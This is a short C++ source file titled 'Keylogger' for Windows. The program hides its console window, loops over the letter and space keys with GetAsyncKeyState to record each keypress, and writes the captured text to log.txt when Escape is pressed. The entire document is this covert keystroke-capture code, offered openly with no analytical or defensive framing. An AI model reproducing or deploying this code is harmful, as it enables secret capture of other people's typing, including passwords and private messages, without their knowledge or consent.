Keylogger

#include <iostream>
#include "windows.h"
#include <fstream>
#include <String>
using namespace std;
int main()
{
ofstream File; 
File.open("log.txt");
FreeConsole();
string log = ""; 
string letter = "";
int num = 0;
 
while(1)
{
  for(num=32; num<=90;num++)
  {
    switch(num)
   {
    case 65: letter = "a"; break;
    case 66: letter = "b"; break;
    case 67: letter = "c"; break;
    case 68: letter = "d"; break;
    case 69: letter = "e"; break;
    case 70: letter = "f"; break;
    case 71: letter = "g"; break;
    case 72: letter = "h"; break;
    case 73: letter = "i"; break;
    case 74: letter = "j"; break;
    case 75: letter = "k"; break;
    case 76: letter = "l"; break;
    case 77: letter = "m"; break;
    case 78: letter = "n"; break;
    case 79: letter = "o"; break;
    case 80: letter = "p"; break;
    case 81: letter = "q"; break;
    case 82: letter = "r"; break;
    case 83: letter = "s"; break;
    case 84: letter = "t"; break;
    case 85: letter = "u"; break;
    case 86: letter = "v"; break;
    case 87: letter = "w"; break;
    case 88: letter = "x"; break;
    case 89: letter = "y"; break;
    case 90: letter = "z"; break;
    case 32: letter = " "; break;
}
if(GetAsyncKeyState(num))
{
log+=letter;
Sleep(200);
}
if(GetAsyncKeyState(27))
{
File << log;
File.close();
return 0;
 
}
}
}
}